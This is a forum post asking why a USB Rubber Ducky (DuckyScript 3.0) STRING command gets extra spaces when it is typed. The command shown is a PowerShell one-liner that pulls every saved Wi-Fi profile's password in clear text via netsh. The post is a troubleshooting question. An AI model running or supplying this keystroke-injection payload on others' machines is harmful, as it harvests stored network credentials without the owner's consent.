Jump to content

DUCKY 3.0 Adding Spacing to my STRINGS


RootJunky

Recommended Posts

STRING (netsh wlan show profiles) | Select-String ":(.+)$" | % {$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | % {$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize

Turns Into this in powershell

( netsh wlan show profiles ) | Select - String ": ( . + ) $" | % {$name=$_.Matches.Groups[1].Value.Trim(); $_} | % { ( netsh wlan show profile name="$name" key=clear ) } | Select - String "Key Content\W + \: ( . + ) $" | % {$pass=$_.Matches.Groups[1].Value.Trim(); $_} | % {[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format - Table - AutoSize

So some reason it adds spaces by these symbols - . + ) $ % { 

The Inject.bin file is created in Payload Studio Pro

Please Help :-) 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...